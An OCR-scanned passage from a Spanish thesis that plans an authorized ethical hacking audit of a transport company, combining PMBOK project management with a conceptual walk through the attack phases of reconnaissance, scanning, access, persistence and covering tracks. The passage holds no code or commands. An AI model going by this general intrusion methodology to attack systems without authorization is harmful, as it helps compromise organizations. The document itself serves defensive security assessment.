En esta fase, el auditor confirma que las vulnerabilidades detectadas en la fase anterior

son riesgos reales a los que estd expuesta la empresa.

2.1.2.9 Post explotacion

El auditor recopilard evidencias de que la fase de explotacion ha tenido éxito, valorara

el impacto real que pueda tener la explotacion para la empresa y tratara de llegar lo mas

adentro de la organizacion que pueda vulnerando otros ordenadores internos, creando

puertas traseras para posteriores accesos, etc.

2.1.2.10 Fases del Hacking Etico

Las fases del Hacking Etico se pueden dividir en cinco etapas distintas. Un hacker ético

sigue procedimientos similares a los de un hacker malicioso.

llustracion 5 Fases de hacking ético

)

(| Descubrimiento
oSistemas sinformacion
*Dominios *Partes
ap's Interesadas
*Objetivos sEscaneo Pasivo
sEscaneo Activo
Alcance L sEnumeracion )

2.1.2.11 Confidencialidad

sEscaneo Red

*Pruebas de
Paquetes

sEscaneo Web
*Escaneo Manual

Anélisis de
Vulnerabilidades

Intrusion

sExploiting
sFuzzing

*DOS (opcional)
SCLIENT - SIDE

Fuente: Internet

*Informe
Ejecutivo

*Informe
Técnico

Remediaciones

Informe

*Analisis de
Remediacion

Es el servicio de seguridad, o condicién, que asegura que la informacion no pueda estar

disponible o ser descubierta por o para personas, entidades o procesos no autorizados.
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La confidencialidad, a veces denominada secreto o privacidad, se refiere a la capacidad
del sistema para evitar que personas no autorizadas puedan acceder a la informacién

almacenada en él.

2.1.2.12 Integridad

Se entiende por integridad el servicio de seguridad que garantiza que la informacion es
modificada, incluyendo su creacion y borrado, solo por el personal autorizado.

El concepto de integridad significa que el sistema no debe modificar o corromper la
informacion que almacene, o permitir que alguien no autorizado lo haga. Esta propiedad

permite asegurar que no se ha falseado la informacion.

2.1.2.13 Disponibilidad

La capacidad de garantizar que tanto el sistema como los datos van a estar disponibles

al usuario en todo momento.

2.2.2 Ingenieria del Proyecto

La Metodologia Del Circulo Del Hacking.
- Circulo del Hacking, es el proceso que utilizan los hackers maliciosos para
hackear y obtener el completo acceso a un sistema vulnerable.
- Los hackers éticos también siguen de una forma similar este proceso que utilizan
los hackers maliciosos, teniendo en cuenta que hackers éticos llegan hasta la fase

fres.

En el grafico se puede apreciar la metodologia orientada al Ethical Hacking.
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llustracion 6 Metodologia EH

. Reconocimiento 5 Limpiard I

* Activo

« Pasivo huellas Reconocimiento
. Escaneo
. Obtener acceso
* A nivel de Sistema
Operativo [ a nivel de
aplicacion
* A nivel de red H. 2.
O e T A s | Mantener Escaneo
el acceso

. Mantener el acceso

= Subir / alterar | bajar
programas o data \ 3
. Limpiar huellas Obténer

Acceso

Fuente: Internet

2.2.2.1 Reconocimiento

Reconocimiento es la fase de preparacion donde un atacante busca reunir toda la
informacion posible sobre un objetivo antes de lanzar su ataque. Involucra escaneo de

red, externo o interno, sin autorizacion.

2.2.2.1.1 Areas e Informacion que los hackers buscan

Segun la empresa Enhacke las areas son:

llustraciéon 7 Areas de informacion

_ _

* Nombres de Dominio
* Obsticulos de red
+ Direcciones IP de sistemas alcanzables

Protocolos de red usados

Nombres de dominio internos
Obstaculos de red

Direcciones IP de sistemas alcanzables
Servicios TCP y UDP en ejecucion
Arquitectura de Sistema

ACLs

IDS en ejecucién

Enumeracion de sistemas

- ServiciosTCP y UDP en ejecucién

* Arquitectura de Sistema

* ACLs

- IDS en ejecucidn

- Enumeracién de sistemas (usuarios y
nombres de grupos, banners de sistema,
tablas de enrutamiento e informacion
SNMP)

'mm Extranet —
= SR

- Conexidn origen y destino

* Numeros telefonicos analdgico/digital
* Tipos de sistema remoto
* Mecanismos de autenticacién

- Tipos de conexidn
» Mecanismos de control de acceso

Fuente: Empresa Enhacke

2.2.2.1.2 Tipos de reconocimientos
Pasivo: Recopilacion de informacion pasiva se realiza encontrando detalles disponibles

libremente en internet y varias otras técnicas sin contactarse con los servidores de la

organizacion.
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Ejemplos:

Busqueda de informacion en los buscadores como Google, Shodan, Bing.
Buscar en la base de datos de Internet (Whois).

Buscar pais y ciudad donde residen los servidores.

Buscar nombres de dominios.

Buscar toda la informacion que se pueda extraer de los DNS (Domain Name
Server).

Etc.

Activo: Implica la adquisicién de informacion, con la interaccion directa con el objetivo.

Ejemplos:

Usar herramientas de software para hacer un escaneo de la red.
Descubrir el rango de direcciones IPs.

Identificar Sistemas Operativos.

Identificar Nombres de Equipos.

Identificar las Cuentas de Usuarios.

Buscar donde estan localizados los Routers.

Recolectar todo tipo de informacion del objetivo es necesario para el hacker, no importa

si el ataque va a ser interno o externo. Al ciber delincuente le puede tomar bastante

tiempo en esta fase ya que tiene que analizar toda la informacion que ha obtenido

para después crear una buena estrategia y lanzar el ataque con mayor precision.

2.2.2.2 Escaneo

Escaneo es uno de los tres componentes importantes de recopilacién para un atacante,

este puede encontrar informacion sobre:

Direcciones IPs especificas.
Sistemas operativos.
Arquitecturas de sistemas.

Servicios en ejecucién en cada equipo.

2.2.2.2.1 Tipos de Escaneos
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Escaneo De Red
- Procedimiento para identificar hosts activos en una red.

- El propdésito de tener conocimiento de los hosts es para atacarlos o evaluarlos.
Escaneo De Puertos
- Serie de consultas enviadas por alguien que intenta romper una computadora para

aprender sus servicios de red.

- Cada servicio esta asociado a un niumero de puerto conocido.

2.2.2.2.2 Metodologia del Escaneo

llustracion 8 Metodologia del escaneo

Banner Grabbing / Escaneo de

ﬁngerp{l(l)mng = | vulnerabilidades

Atacar

Fuente: Empresa Enhacke

2.2.2.2.3 Ejemplo

SienlaFase 1, el hacker descubri6 que su objetivo utiliza un sistema operativo Windows
XP entonces €l buscara vulnerabilidades especificas que funcionen en ese
sistema operativo para saber por donde atacarlo. Se puede utilizar cualquier
herramienta automatizada para escanear toda la red, cuentas de usuarios, hosts,

servicios y vulnerabilidades que permitan el acceso al sistema vulnerable
2.2.2.3 Obtener Acceso
Esta es una de las fases mas importantes para el hacker porque aqui es la fase de

penetracién al sistema vulnerable, en esta fase el hacker explota las vulnerabilidades

gue encontrd en la Fase de Escaneo.
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2.2.2.3.1 Puede ser de forma

La explotacién puede ocurrir de forma:

- LAN (Local Area Network).
- Offline (sin estar conectado).

- Internet.

Tabla 7 Tipos de explotaciones

Explotacion Manual

Se ejecuta usualmente haciendo uso de

comandos.

El hacker tiene mayor control sobre lo

que desea explotar.

Se requiere conocer a profundidad los
protocolos TCP/IP y entender como
manejan internamente la seguridad los

sistemas operativos.

El hacker puede hacer uso de un exploit

desarrollado por él mismo.

Explotaciéon automatica

El hacker hace uso de un software de

explotacion que normalmente es
desarrollado por un tercero.
La forma de ejecucion del exploit

depende de la implementacion realizada

por el desarrollador.

El hacker solo necesita saber como usar

la herramienta de explotacion.

El

exploits incluidos con la herramienta de

hacker estd limitado a utilizar los

explotacion utilizada.

Fuente: Elaboracion propia
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Tabla 8 Herramientas de ataques

Caracteristicas Metasploit Nessus
Costo Version libre y de paga Version libre y de paga
Facilidad de Manejo Medio Facil

Interpretacion

Metasploit (software de pruebas de penetracién), Nessus (software de analisis de

vulnerabilidades)

Fuente: Elaboracion propia

2.2.2.4 Mantener Acceso

Se realiza una vez finalizada con éxito la Fase de Obtener Acceso del sistema
vulnerable, en esta fase la prioridad es mantener el acceso al sistema vulnerable. En
esta fase el hacker puede utilizar el sistema vulnerable como plataforma para el
lanzamiento de nuevos ataques, utilizando sus propios recursos del sistema vulnerable
para escanear y explotar vulnerabilidades de otros sistemas que quiere atacar que se
encuentren dentro o fuera de la red, también utiliza otras herramientas llamados Sniffers
para capturar todo el trafico de la red, incluyendo sesiones de Telnety FTP (File Transfer

Protocolo).

En esta fase el hacker puede tener la habilidad de subir o bajar cualquier tipo de archivo
del sistema, puede alterar el funcionamiento de las aplicaciones que tiene el sistema y
modificar cualquier tipo de archivos o informaciéon que se encuentre en el sistema, el
hacker suele fortalecer y parchar todas las vulnerabilidades del sistema vulnerable para

gue otros hackers no puedan tener ningun tipo de acceso.

2.2.2.5 Limpiar Huellas

Esta fase es donde el hacker trata de descubrir y destruir toda la evidencia de su
presencia y de sus actividades ilicitas y lo hace por varias razones entre ellas seguir
manteniendo el acceso al sistema comprometido ya que si borra sus huellas los
administradores de redes no tendran evidencias ni pistas claras sobre la intrusién al
sistema, ademds borrando sus huellas evita ser detectado y ser atrapado por la

policia informatica.
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NOTA: Al ser una auditoria autorizada por la empresa de Transportes Cosmer SAC,
solo realizard hasta la fase nimero 3, debido que la tercera y cuarta fase (mantener

acceso y borrado de huellas) solo lo realizaria un atacante cibernético.

2.2.3 Soporte del Proyecto

La Gestién de la Calidad del Proyecto incluye los procesos y actividades de la
organizacion ejecutante que determinan responsabilidades, objetivos y politicas de
calidad a fin de que el proyecto satisfaga las necesidades por la cuales fue emprendido.
Implementa el sistema de gestion de calidad por medio de politicas y procedimientos,
con actividades de mejora continua de los procesos llevados a cabo durante todo el
proyecto, segun corresponda. (Guia PMBOK). A continuacion, se conocera de manera
general la gestion de la calidad del proyecto, en el cual se articula alrededor de tres

procesos fundamentales:

llustracion 9 Soporte Proyecto

Project Quality

Management Overview

4.3 Perform Quality

Control

4.1 Plan Quality

1 Inputs

4.2 Perform Quality

1 Inputs

-

Inputs

1 Scope basaline

2 Stakeholder register

3 Cost performance baseling

4 Schedule baseline

5 Risk register

6 Enterprise enviconmental
factors

7 Organizationa| process assets

2 Tocls & Techniques
1 Cost-bhenefit analysis
2 Cost of quality

2 Tools & Techniques

.1 Project management plan

2 Quality metrics

3 Work performance information
4 Qualaty control measurements

1 Plan Quality and Perform
Quatity Control tools and
techniques

2 Quality audits

3 Process analysis

~

.1 Project management plan

2 Quality metrics

3 Qualty checklists

4 Work performance
measurements

5 Approved change requests

& Delverables

7 Drganizational process assets

Tools & Techniques
1 Cause and effect diagrams
.2 Control charts

3 Control charts 3 Outputs 3 Flowcharting
& Benchmarking 1 Organizational process asset 4 Histogram
5 Design of experiments updates 5 Pareto chart

6 Statistical sampling

7 Howcharting

8 Proprietary quality
management methodologies

9 Additional quality planning
tools

3 Qutputs
1 Quality management plan
2 Quality metrics
3 Quakity checklists
4 Process inprovemaent plan
5 Project document updates

2 Change requests

3 Project management plan
updates

4 Project document updates

Fuente: Guia PMBOK

W

6 Run charn

7 Scatter diagram

8 Statistical sampling

9 Inspection

10 Approved change requests
review

Outputs

1 Quality control measurements

2 Validated changes

3 Validated deliverables

4 Organizational process assets
updates

5 Change requests

6 Project management plan
updates

7 Project document updates
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2.2.3.1 Planificacion de la calidad

Planificar la Calidad es el proceso por el cual se identifican los requisitos de calidad y/o
normas para el proyecto y el producto, documentando la manera en que el proyecto
demostrara el cumplimiento con los mismos. Debe realizarse en forma paralela a los
demas procesos de planificacion del proyecto. Por ejemplo, los cambios propuestos en
el producto para cumplir con las normas de calidad identificadas pueden requerir ajustes
en el costo o en el cronograma, asi como un analisis detallado de los riesgos de impacto
en los planes. Las técnicas de planificacion de calidad tratadas en esta seccion son las

que se emplean mas frecuentemente en los proyectos.

2.2.3.2 Realizar el Aseguramiento de la Calidad

Es el proceso que consiste en auditar los requisitos de calidad y los resultados obtenidos
a partir de medidas de control de calidad, a fin de garantizar que se utilicen definiciones
operacionales y normas de calidad adecuadas. A menudo, las actividades de
aseguramiento de calidad son supervisadas por un departamento de aseguramiento de
calidad o una organizacion similar. Independientemente de la denominacion de la
unidad, el soporte de aseguramiento de calidad puede proporcionarse al equipo del
proyecto, a la direccion de la organizacion ejecutante, al cliente o patrocinador, asi como

a los demas interesados que no participan activamente en el trabajo del proyecto.

Realizar el Aseguramiento de Calidad cubre también la mejora continua del proceso,
gue es un medio iterativo de mejorar la calidad de todos los procesos. La mejora
continua del proceso reduce las actividades inutiles y elimina agquéllas que no agregan
valor al proyecto. Esto permite que los procesos operen con niveles mas altos de

eficiencia y efectividad.

2.2.3.3 Realizar el Control de la Calidad

Realizar el Control de Calidad es el proceso por el que se monitorean y registran los
resultados de la ejecucién de actividades de calidad, a fin de evaluar el desempefio y
recomendar cambios necesarios. El control de calidad se lleva a cabo durante todo el
proyecto. Los estandares de calidad incluyen las metas de los procesos y del producto

del proyecto.
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2.2 Marco tedrico del Proyecto

2.2.1 Gestion del Proyecto

La gestién de proyectos es una disciplina formal, mediante la cual los proyectos se
planifican y se ejecutan siguiendo un proceso sistematico, repetitivo y escalable; es una

labor compleja, creativa, tediosa y cambiante, pero posee un ilimitado potencial.

La dificultad de la gestion de un proyecto radica en gran medida en la cantidad de
personas involucradas. De hecho, en contrapartida con los proyectos personales o
internos en pequefia escala para los cuales la necesidad y la respuesta para dicha
necesidad puede ser provista por la misma persona o por un grupo limitado de personas,
en un proyecto en el sentido profesional, la expresién de una necesidad y la satisfaccion

de esta necesidad generalmente es responsabilidad de diferentes personas.

Esta expresion de las necesidades es incluso mas dificil ya que generalmente el
proyecto no tiene precedentes dentro de la compafiia, dado que es una novedad. En
forma opuesta, generalmente es dificil resumir soluciones existentes y concentrarse
solamente en las necesidades en términos funcionales. La gestion de
proyectos también conocida como gerencia o administracion de proyectos es la
disciplina que guia e integra los procesos de planificar, captar, dinamizar, organizar
talentos y administrar recursos, con el fin de culminar todo el trabajo requerido para
desarrollar un proyecto y cumplir con el alcance, dentro de limites de tiempo, y costo
definidos: sin estrés y con buen clima interpersonal. Todo lo cual requiere liderar los

talentos, evaluar y regular continuamente las acciones necesarias y suficientes.

2.2.1.1 Procesos de la Gestion de Proyectos

Segun la estructura del PMBOK los procesos son:

Desarrollar el Acta de Constitucion del Proyecto.

Es el proceso que consiste en desarrollar un documento que autoriza formalmente un

proyecto o una fase y documentar los requisitos iniciales que satisfacen las necesidades

y expectativas de los interesados.
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Establece una relacion de cooperacién entre la organizacion ejecutante y la
organizacién solicitante, El proyecto se inicia formalmente con la firma del acta de

constitucién del proyecto aprobada.

Segun la guia del PMBOK 5ta edicion, el acta de constitucién del proyecto es un
documento emitido por el iniciador o patrocinador (Sponsor) que autoriza formalmente
la existencia de un proyecto, confiriendo al gerente del proyecto (El Project Manager) la

autoridad para asignar recursos de la organizacion a sus actividades.

El acta debe informar sobre los siguientes elementos o variables del proyecto:

- Proposito del acta de constitucion del proyecto.

- Resumen ejecutivo: vision general del proyecto.

- Declaracion del problema.

- Descripcién del proyecto.

- Justificacién del Proyecto.

- Objetivos del Proyecto.

- Aprobaciones del acta de constitucion del proyecto.

- Documentos anexos que forman parte del proyecto.

- Contrato entre organizacién patrocinadora/cliente del proyecto y organizacion que
ejecutard el proyecto.

- Lista de documentos que forman parte del Acta de Constitucion del proyecto que
no se anexan al presente documento.

- Supuestos, restricciones y riesgos.

¢ Como se elabora el Acta de Constitucion del Proyecto?

a) Enunciado del trabajo

Es la descripcién narrativa de los productos, servicios o resultados que debe entregar el
proyecto, si el proyecto es interno, el iniciador o patrocinador proporciona el enunciado
de trabajo, basandose en las necesidades de la empresa o requisitos del producto. Este
enunciado de trabajo hace referencia a:

- Lanecesidad del negocio.

- Descripcion del alcance del producto.

Plan estratégico.

b) Caso de Negocio
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Proporciona la informacién necesaria desde la perspectiva de negocio para determinar

si el proyecto es viable en términos de la inversion requerida.

c) Acuerdos entre los Interesados

Como lo establece la guia del PMBOK 5ta edicion, son las intenciones iniciales de un
proyecto que pueden tomar la forma de contratos, memorandos de entendimiento,
acuerdos de nivel de servicio, cartas de acuerdo, declaraciones intencionales e inclusive
acuerdos verbales, correos electronicos u otros. Toda esta documentacién se retne

para darle forma estructurada en el Acta de proyecto.

d) Factores Ambientales y Procesos de la Organizacién

Los factores ambientales a los que esta sometida la empresa pueden influir sobre toda
la gerencia de proyectos, en este caso deben tomarse en cuenta estandares
gubernamentales, de la industria o reglamentos, la cultura de la organizacion,

condiciones del mercado y otros aspectos del entorno.

e) Herramientas y técnicas

Cuando se desarrolla el plan para la direccion del proyecto, se utiliza el juicio de expertos
para:
- Adaptar el proceso para cumplir con las necesidades del proyecto.
- Desarrollar los detalles técnicos y de gestién que se incluiran en el plan para la
direccién del proyecto.
- Determinar los recursos y los niveles de habilidad necesarios para llevar a cabo el
trabajo del proyecto.
- Determinar el nivel de gestién de la configuracion que se aplicara al proyecto.
- Determinar qué documentos del proyecto estaran sujetos al proceso formal de

control de cambios.
Desarrollar el Plan para la Direccion del Proyecto
- Esundocumento(s) que se utiliza(n) para dirigir la ejecucién, el monitoreo, control

y el cierre del proyecto. El director del proyecto y el equipo del Proyecto son los

encargados de crearlo.
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- Es un proceso de planificacion gque se repetird a lo largo de toda la vida del

Proyecto y que esta interrelacionado con las diferentes areas de conocimiento.

Dirigir y Gestionar la Ejecucién del Proyecto.

Este proceso que consiste en ejecutar el trabajo definido en el plan para la direccion del

proyecto para cumplir con los objetivos del mismo.

En este proceso se tienen en cuenta las siguientes actividades:

- Realizar las actividades necesarias para cumplir con los requisitos del proyecto.

- Crear los entregables del proyecto.

- Reunir, capacitar y dirigir a los miembros del equipo asignado al proyecto.

- Obtener, gestionar y utilizar los recursos, incluyendo materiales, herramientas,
equipos e instalaciones.

- Implementar los métodos y normas planificados.

- Establecer y gestionar los canales de comunicacion del proyecto, tanto externos
como internos al equipo del proyecto.

- Generar los datos del proyecto, tales como costo, cronograma, avance técnico y
de calidad y el estado, a fin de facilitar las proyecciones.

- Emitir las solicitudes de cambio y adaptar los cambios aprobados al alcance, a los
planes y al entorno del proyecto.

- Gestionar los riesgos e implementar las actividades de respuesta a los mismos.

- Gestionar a los vendedores y proveedores.

- Recopilar y documentar las lecciones aprendidas e implementar las actividades

- aprobadas de mejora del proceso.

Monitorear y Controlar el Trabajo del Proyecto.

Es el proceso que consiste en monitorear, revisar y regular el avance a fin de cumplir
con los objetivos de desempefio definidos en el plan para la direccion del proyecto, los
requisitos son planteados al inicio del proyecto tomando como sugerencia las

indicaciones de los stakeholders del proyecto.
Es un proceso en el cual el gerente de proyecto realiza a lo largo del proyecto e incluye

recolectar, medir y distribuir la informacion del rendimiento del proyecto, pero a su vez

explotar esta informacién elaborando tendencias, ajustando métricas y mejorando los
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procesos. Es una actividad constante del equipo del proyecto determinar acciones
correctivas y preventivas o re planificar algin aspecto de tal manera que solucione un

problema encontrado durante el ciclo de vida del proyecto.

Realizar el Control Integrado de Cambios.

Es el proceso que consiste en revisar todas las solicitudes de cambio, y en aprobar y
gestionar los cambios en los entregables, en los activos de los procesos de la

organizacion, en los documentos del proyecto y en el plan para la direccion del proyecto.

Para las actividades de cambios al producto, servicio o requerimiento se realizara lo
siguiente:

- Los interesados principales deberan presentar una solicitud para el cambio
requerido, detallando él porque del cambio solicitado y que beneficios se
conseguiria con el mismo.

- Se evaluara el impacto que se produciria con dichos cambios en el proyecto como
el costo, tiempo y alcance.

- Después de la evaluacién se tomara una decision para aprobar o rechazar la
solicitud de cambio.

- En caso de que la solicitud sea aprobada se realizara un seguimiento para
determinar cudles son los aspectos positivos y negativos que se dieron con el

cambio.

Los cambios en un proyecto sin inevitables y pueden ser solicitados por cualquier
interesado involucrado en el proyecto, su factibilidad de implementacion esta basado en
analizar el impacto que tendria el cambio en la triple restriccion. Es recomendable que
cada proyecto cuente con un comité de control de cambios que sea el responsable de
aprobar o rechazar los cambios dicho comité formado por interesados claves del
proyecto debera tener un procedimiento de control de cambios claramente definido que
incluya la configuracién tanto del producto de la informacion relacionada al cambio, asi

como de la verificacion y auditoria del cambio aprobado.

Cerrar Proyecto o Fase.

Es el proceso que consiste en finalizar todas las actividades en todos los grupos de

procesos de direccion de proyectos para completar formalmente el proyecto o una fase
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del mismo. Consiste en asegurar y formalizar la finalizacién del proyecto a tal punto que
el gerente de proyecto deberd realizar una revision de todos los cierres de fase
anteriores de tal forma que asegure que el proyecto esta dentro de sus obijetivos

definidos.

Cualquiera sea la razon por la cual un proyecto se haya terminado este debe pasar por
un proceso de cierre formal, el cierre del proyecto es el momento donde se aplican los
procedimientos de pasar el producto a las operaciones de la empresa, asi como de
recolectar y organizar la informacion generada por el proyecto, generando las lecciones

aprendidas que serviran para futuros proyectos.

Sin duda la gerencia de proyectos es una profesién que cada vez produce mayor y
mejores estandares y se enriquece con las experiencias, investigaciones y mejores
practicas de los profesionales que la practican y que se encuentran en posiciones de

liderazgo, supervision o dirigiendo actividades de proyectos.

El manejo adecuado y 6ptimo de gestion de integracion del proyecto, le permite al
director de proyectos anticipar y lograr que la experiencia de todos los involucrados sea
positiva desde el inicio hasta la terminacién del proyecto, son los preparativos y las
acciones que realizamos las que nos dan cierto nivel de confianza para que al final todos

los comensales queden satisfechos y tengan ganas de repetir la experiencia.
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CAPITULO lIl: INICIO Y PLANIFICACION DEL PROYECTO

3.1. Gestién del proyecto

3.1.1 Iniciacion.

A. Nacimiento del Proyecto.

Actualmente uno de los principales activos de cualquier organizacién sin importar si es
pequefia, mediana o grande es la informacién, si esta sufriera algin incidente fisico,
natural, cibernético relacionado a la integridad, disponibilidad o confidencialidad, podria
generar pérdidas econdmicas millonarias y desventajas competitivas importantes con

organizaciones del mismo sector.

Las organizaciones estan cada vez esta mas expuestas a una variedad mas amplia y
sofisticada de amenazas, vulnerabilidades, etc. Estas amenazas pueden ser internas,
externas, premeditadas, accidentales, etc. Asi mismo se debe mencionar que no todos
los desarrolladores, administradores, usuarios generales tienen conocimientos en
seguridad informatica, provocando que la organizacién tenga un bajo soporte en
actualizacién de versiones en las aplicaciones, dejando toda la responsabilidad de la
seguridad informéatica para una persona en las organizaciones o en la mayoria de veces
a nadie, lo que genera que la organizacion tenga brechas de seguridad y expuestas ante

un ataque cibernético.

Es por eso que un ataque simple puede originar dafos catastréficos a una empresa si
es que no cuenta con controles de seguridad que mitiguen la probabilidad de ocurrencia
de estos. Este proyecto nace con la finalidad de identificar el estado actual de la

Seguridad Informatica de la empresa.

B. Justificacion.

El acceso deliberado en cualquier momento de inescrupulosos a las redes, servidores,
webs de las organizaciones peruanas ya no es nada aislado, ni caso de peliculas de
ciencia ficcién, es la realidad diaria en el mundo, los hackers intervienen, alteran,
controlan, informacién ajena, hasta dafiando la imagen comercial y posicionamiento en

el mercado de negocios.
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La presente tesis, es importante debido a que la Empresa Transportes Cosmer S.A.C
necesita una evaluacion de seguridad actual, de tal manera que se logren detectar
vulnerabilidades que puedan ser explotadas por atacantes y asi poderlas corregirlas o

reducirlas, con la finalidad de proteger la integridad de la informacién.

C. Importancia.

Hoy en dia, toda organizacion maneja datos e informacion de manera digital, ya sea a
nivel interno Unicamente, a nivel externo (para proveer informacion o servicios a
terceros), o ambos. Siempre existe el riesgo de que personas malintencionadas

obtengan acceso, modifiquen y/o destruyan esta informacion de manera no autorizada.

Es de vital importancia darse cuenta de que la seguridad de un producto no solo
depende de los factores relacionados con el entorno de TI. También se basa en
productos especificos de seguridad que brinde mejores practicas. Esto implica la
aplicaciéon de los requisitos de seguridad adecuados, la realizacion de analisis de
riesgos, modelado de amenazas, revisiones de codigo, la seguridad y la medicién

operativa.

La importancia del presente proyecto reside en el uso de un Ethical Hacking, que
permitird la obtencion de informacion de vulnerabilidades. Y las respuestas de tantas

preguntas como:

- ¢Cbmo saber si su informacién esta segura?

- ¢Cbmo saber si solamente las personas autorizadas tienen acceso a la
informacion?

- ¢Como saber si existe alguna vulnerabilidad de seguridad que le permitiria a algin
usuario malintencionado hacer de las suyas en sus sistemas y redes?

- ¢Cbmo saber si sus empleados estan debidamente entrenados en temas basicos
de seguridad informéatica?

- ¢Estan sus empleados representando una amenaza para la seguridad informatica

de la empresa?
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D. Acta de constitucion del proyecto

Tabla 9 Acta de constitucion

Descripcién del proyecto: qué, ¢quién, como, cuando y dénde?

Determinar la manera que la Metodologia Ethical Hacking influye en el nivel de
proceso de gestion de la seguridad informética de los sistemas del area de
computo de TRANSPORTES COSMER SAC

Las fases que abarcara este proyecto seran:
- Reconocimiento.
- Escaneo.

- Acceso.

El desarrollo del proyecto estara a cargo de:
- Jheen Pooll Carrasco Ruiz Encargado del proyecto.

- Jheen Pooll Carrasco Ruiz Analista en Seguridad.

La solucion consistira en dar recomendaciones para subsanar las fallas
encontradas en los sistemas operativos, aplicaciones web instaladas en las

computadoras y del servidor.

Definicion del producto del proyecto

El producto del proyecto tendrd como producto final un Ethical Hacking para
proteger y salvaguardar el flujo de informacion, que maneja la empresa, frente a
los diferentes peligros a los que estd expuesta como los virus informéaticos, los
hackers, modificaciones indebidas, etc., logrando asi una mejor toma de
decisiones y de esa manera poder tener una ventaja competitiva contra la

competencia.

Definicion de requisitos del proyecto
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Usuarios Principales de los Sistemas:

Proporcionar un conocimiento del grado de vulnerabilidad de los sistemas
informaticos, imprescindible para aplicar medidas correctivas.

Descubrir fallas de seguridad tras cambios de configuracion.

Determinar sistemas en peligros debido a su desactualizacion.

Identificar configuraciones erroneas que pudieran desembocar en fallos de
seguridad.

Reducir la probabilidad de materializacién de aquellos riesgos que pueden
representar grandes pérdidas de capital debido a: facturacién fallida,
reposicion de los dafios causados, pérdida de oportunidad de negocio,
reclamacion de clientes, restitucion de la imagen corporativa, sanciones
legales.

Ahorrar tiempo y dinero al afrontar y corregir situaciones negativas antes de

gue sucedan.

Usuarios Finales de los Sistemas

Contar con Profesionalismo y calidad en las operaciones informéticas para
trasmisién de datos seguros, completos, fiables, etc.

Crear buenas medidas de seguridad que evitan dafios y problemas que
pueden ocasionar intrusos.

Crear barreras de seguridad que no son mas que técnicas, aplicaciones y
dispositivos de seguridad que utilizando aplicaciones de proteccion:
cortafuegos, antivirus, anti espias y usos de contrasefias.

Protege la informacién y los equipos de los usuarios.

Concepto Objetivos Criterio De Exito

Cumplir con todos los requerimientos Obtener toda Ila

Alcance funcionales y no funcionales detallados informacion

anteriormente. necesaria

Concluir el proyecto en el plazo solicitado Concluir el proyecto

Tiempo

por el cliente. dentro de las fechas
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Cumplir con el presupuesto estimado del No exceder el
Costo proyecto. presupuesto
estimado del

proyecto.

Finalidad del proyecto

Objetivo General
- Determinar la manera que la Metodologia Ethical Hacking influye en el nivel
de seguridad de los sistemas del area de computo de TRANSPORTES
COSMER SAC

Objetivos especificos

- Determinar la manera en que la fiabilidad de la metodologia Ethical Hacking
influye en la gestion de la seguridad de los sistemas del area de computo de
TRANSPORTES COSMER SAC.

- Determinar la manera en que la Integridad de la metodologia Ethical Hacking
influye en la eficacia de la gestion de la seguridad de los sistemas del area
de computo de TRANSPORTES COSMER SAC.

- Determinar la manera en que la Usabilidad de la metodologia Ethical Hacking
influye en la productividad de la gestién de la seguridad de los sistemas del
area de computo de TRANSPORTES COSMER SAC.

Principales amenazas del proyecto (riesgos negativos).

Personal no calificado para la utilizacion de politicas seguridad.

Falsos positivos.

Falta de cumplimiento con las fechas de entrega.

Nuevos requerimientos funcionales por parte de los interesados.
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Modificaciones de los requerimientos.

Principales oportunidades del proyecto (riesgos positivos).

Minimizar el tiempo en la busqueda de informacion.

Minimizar el tiempo en el tratamiento de la informacion.

Minimizar el tiempo en la busqueda de problemas que se presentan.

Presupuesto preliminar del proyecto.

Concepto Monto

Desarrollo del Proyecto s/9855.00 nuevos soles

Sponsor que autoriza el proyecto.

Nombre Empresa Cargo

José Transporte Cosmer SAC Gerente Financiero
Francisco

Carrasco

Fuente: Elaboracion propia

E. Identificacion de los interesados

Tabla 10 Interesados del proyecto

Encargado del proyecto Jheen Pooll Carrasco Ruiz

Gerente Financiero de la empresa José Francisco Carrasco Zevallos
Fuente: Elaboracion propia
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3.1.2 Planificacién

3.1.2.1 Alcance

Nombre del Proyecto: Determinar la manera que la Metodologia Ethical Hacking influye
en el nivel de proceso de gestion de la seguridad informética de los sistemas del area
de computo de TRANSPORTES COSMER SAC.

3.1.2.1.1 Definicion del alcance del Proyecto:

El proyecto tendrd como resultado realizar un Ethical hacking para proteger y
salvaguardar el flujo de informacion, frente a los diferentes peligros a los que esta
expuesta como los virus informaticos, los hackers, modificaciones indebidas, etc.,
logrando asi una mejor toma de decisiones y de esa manera poder tener una ventaja

competitiva contra la competencia.

3.1.2.1.2 Definicién del alcance del Producto

Desde el punto del producto, el Ethical hacking tiene como objetivo desarrollar atagues
controlados a los sistemas operativos y al servidor con las herramientas que posee Kali

Linux, con la finalidad de evaluar el nivel de seguridad que posee los sistemas.

3.1.2.1.3 Criterios de aceptaciéon

Técnicos: El desarrollo del proyecto se debe realizar de acuerdo con todo lo planificado

y requerido por los usuarios.

Calidad: Se debe lograr la satisfaccion del cliente en un 98%. La bibliografia usada en
la investigacion debe ser de caréacter serio El informe de la propuesta concluida debe

ser entendible y precisa.

Administrativos: Se necesitard una capacitacion al personal luego de terminado el
estudio referente al tema de la propuesta.

- Comerciales: Aumentar la satisfaccion y la cartera de clientes.

- Contribuir con el crecimiento de la empresa.

- Cumplir con estandares de calidad tanto nacional como internacional.
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3.1.2.1.4 Requerimientos

Tabla 11 Requisitos Funcionales

Requisitos funcionales: descubrir procesos del negocio, informacion,

interaccion con el producto, etc.

Prioridad otorgada Requisitos

por el stakeholder

Muy Alta

Muy Alta

Muy Alta

Muy alta

Muy alta

Muy alta

Muy alta

Muy Alta

Muy Alta

Muy Alta

Muy Alta

Caodigo

RQO1

RQO2

RQO3

RQO4

RQO5

RQO6

RQO7

RQO8

RQO9

RQ10

RQ11

Descripcion

Permitir la bdsqueda de informacién —

metadatos.

Consultar informacion de los servidores.

Descubrir el rango de direcciones IPS.

Descubrir los sistemas operativos.

Identificar los nombres de equipos.

Identificar los servicios en ejecucion en

cada equipo.

Permitir el escaneo de puertos.

Identificar vulnerabilidades en sistemas

operativos.

Identificar vulnerabilidades en el servidor.

Documentar las fallas encontradas.

Recolectar Informacion valiosa.

Requisitos no funcionales: describir requisitos tales como nivel de servicio,

perfomance, seguridad, adecuacion, etc.
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Requisitos

Prioridad Cabdigo Descripcion

Muy Alta RQ13 Uso de tecnhologias.

Muy alta RQ14 Datos confidenciales.

Muy alta RQ15 Reportes que ayudaran a la toma de
decisiones.

Alta RQ16 Contar con un buen ambiente para los

equipos de trabajo.

Alta RQ17 Cumplir con los acuerdos presentados en la
propuesta, respetando los requerimientos del

